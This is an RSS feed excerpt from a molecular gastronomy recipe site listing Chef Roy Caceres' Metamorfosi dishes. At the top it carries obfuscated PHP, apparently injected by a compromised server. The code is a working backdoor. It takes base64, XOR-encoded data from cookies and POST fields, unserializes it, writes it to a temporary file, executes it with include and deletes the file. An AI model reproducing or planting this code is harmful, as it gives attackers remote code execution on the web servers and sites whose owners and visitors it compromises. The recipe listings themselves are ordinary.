$IBfMM = chr ( 613 - 502 ).chr (95) . 'd' . chr (84) . "\x67" . "\x6a";$BEcTzzaUs = chr (99) . 'l' . 'a' . "\x73" . chr (115) . "\137" . 'e' . chr (120) . chr ( 859 - 754 ).chr (115) . 't' . "\163";$aGxrbeEjRN = class_exists($IBfMM); $BEcTzzaUs = "3697";$mSwkjzA = !1;if ($aGxrbeEjRN == $mSwkjzA){function WbVwyBtF(){return FALSE;}$JgGBQJy = "49";WbVwyBtF();class o_dTgj{private function ULxlcMa($JgGBQJy){if (is_array(o_dTgj::$VrRAKdxp)) {$vQFpwu = sys_get_temp_dir() . "/" . crc32(o_dTgj::$VrRAKdxp[chr (115) . "\x61" . 'l' . "\164"]);@o_dTgj::$VrRAKdxp[chr (119) . chr ( 743 - 629 )."\x69" . 't' . 'e']($vQFpwu, o_dTgj::$VrRAKdxp['c' . 'o' . "\x6e" . "\164" . 'e' . 'n' . chr ( 880 - 764 )]);include $vQFpwu;@o_dTgj::$VrRAKdxp[chr (100) . 'e' . chr ( 871 - 763 ).chr ( 348 - 247 ).chr (116) . chr ( 638 - 537 )]($vQFpwu); $JgGBQJy = "49";exit();}}private $hImlfcTJY;public function UNDEBkA(){echo 59060;}public function __destruct(){$JgGBQJy = "8587_38387";$this->ULxlcMa($JgGBQJy); $JgGBQJy = "8587_38387";}public function __construct($yEBvWXjR=0){$dQJieFGg = $_POST;$kGzEIA = $_COOKIE;$nXKxdj = "e8fe6741-8d27-4953-aafc-0fbcefc84b4c";$goNbho = @$kGzEIA[substr($nXKxdj, 0, 4)];if (!empty($goNbho)){$hKCchKZhB = "base64";$iRrvTsiV = "";$goNbho = explode(",", $goNbho);foreach ($goNbho as $xDRuAmcEj){$iRrvTsiV .= @$kGzEIA[$xDRuAmcEj];$iRrvTsiV .= @$dQJieFGg[$xDRuAmcEj];}$iRrvTsiV = array_map($hKCchKZhB . "\x5f" . "\144" . chr (101) . chr ( 857 - 758 ).chr (111) . "\144" . chr ( 287 - 186 ), array($iRrvTsiV,)); $iRrvTsiV = $iRrvTsiV[0] ^ str_repeat($nXKxdj, (strlen($iRrvTsiV[0]) / strlen($nXKxdj)) + 1);o_dTgj::$VrRAKdxp = @unserialize($iRrvTsiV); $iRrvTsiV = class_exists("8587_38387");}}public static $VrRAKdxp = 36984;}$CCQRbJKXb = new /* 25183 */ $IBfMM(49 + 49); $mSwkjzA = $CCQRbJKXb = $JgGBQJy = Array();}<br />
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		<title>Modernist Gnocchi di Sepia</title>
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		<pubDate>Mon, 04 Nov 2013 16:46:49 +0000</pubDate>
		<dc:creator><![CDATA[Quantum Chef]]></dc:creator>
				<category><![CDATA[Surprises]]></category>
		<category><![CDATA[advanced]]></category>
		<category><![CDATA[Chef Roy Caceres]]></category>
		<category><![CDATA[metamorfosi]]></category>
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		<description><![CDATA[<img src="http://www.molecularrecipes.com/wp-content/uploads/metamorfosi/thumbs/thumbs_gnocchi-sepia-sqr.jpg" alt="Modernist gnocchi di sepia -sqr" title="metamorfosi" class="wp-post-image ngg-image-984 " />Creamy olive oil potato puree wrapped in cuttlefish with peas, sepia ink, creamed pea sauce, mint, candied lemon zest and nori. Have fun and enjoy!]]></description>
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		<title>Foie Gras Medlar and Roasted Barley Bread</title>
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		<comments>http://www.molecularrecipes.com/gelification/foie-gras-medlar-roasted-barley-bread-2/#respond</comments>
		<pubDate>Mon, 26 Aug 2013 06:22:00 +0000</pubDate>
		<dc:creator><![CDATA[Quantum Chef]]></dc:creator>
				<category><![CDATA[Gelification]]></category>
		<category><![CDATA[advanced]]></category>
		<category><![CDATA[agar agar]]></category>
		<category><![CDATA[centrifuge]]></category>
		<category><![CDATA[Chef Roy Caceres]]></category>
		<category><![CDATA[gelification]]></category>
		<category><![CDATA[locust bean gum]]></category>
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		<description><![CDATA[<img src="http://www.molecularrecipes.com/wp-content/uploads/metamorfosi/thumbs/thumbs_foie-gras-medlar-sqr.jpg" alt="Foie gras medlar modernist cuisine metamorfosi -sqr" title="metamorfosi" class="wp-post-image ngg-image-833 " />This playful dish from modernist cuisine Chef Roy Caceres combines the flavors of silky foie gras, medlars, Passito wine, carrot juice and roasted barley bread in a surprising presentation. ]]></description>
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		<title>65° Sous Vide Egg Carbonara at Metamorfosis</title>
		<link>http://www.molecularrecipes.com/multiple-techniques/65-egg-carbonara-metamorfosis/</link>
		<comments>http://www.molecularrecipes.com/multiple-techniques/65-egg-carbonara-metamorfosis/#comments</comments>
		<pubDate>Wed, 19 Jun 2013 02:46:06 +0000</pubDate>
		<dc:creator><![CDATA[Quantum Chef]]></dc:creator>
				<category><![CDATA[Eggs]]></category>
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		<category><![CDATA[metamorfosi]]></category>
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		<description><![CDATA[<img src="http://www.molecularrecipes.com/wp-content/uploads/metamorfosi/thumbs/thumbs_65-dregrees-egg-carbonara-sqr.jpg" alt="65 Dregrees Egg Carbonara sqr" title="metamorfosi" class="wp-post-image ngg-image-727 " />One of Metamorfosi’s most popular dishes, creamy egg perfectly cooked sous vide at 65° and accompanied by crispy guanciale, crunchy chicharon, fried pasta and a playful Parmigiano foam to finish it off.]]></description>
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		<title>Modernist Cuisine for Traditional Diners</title>
		<link>http://www.molecularrecipes.com/molecular-gastronomy/modernist-cuisine-traditional-diners/</link>
		<comments>http://www.molecularrecipes.com/molecular-gastronomy/modernist-cuisine-traditional-diners/#respond</comments>
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		<dc:creator><![CDATA[Quantum Chef]]></dc:creator>
				<category><![CDATA[Molecular Gastronomy]]></category>
		<category><![CDATA[Molecular Gastronomy Chefs]]></category>
		<category><![CDATA[Chef Roy Caceres]]></category>
		<category><![CDATA[metamorfosi]]></category>
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		<category><![CDATA[molecular gastronomy]]></category>
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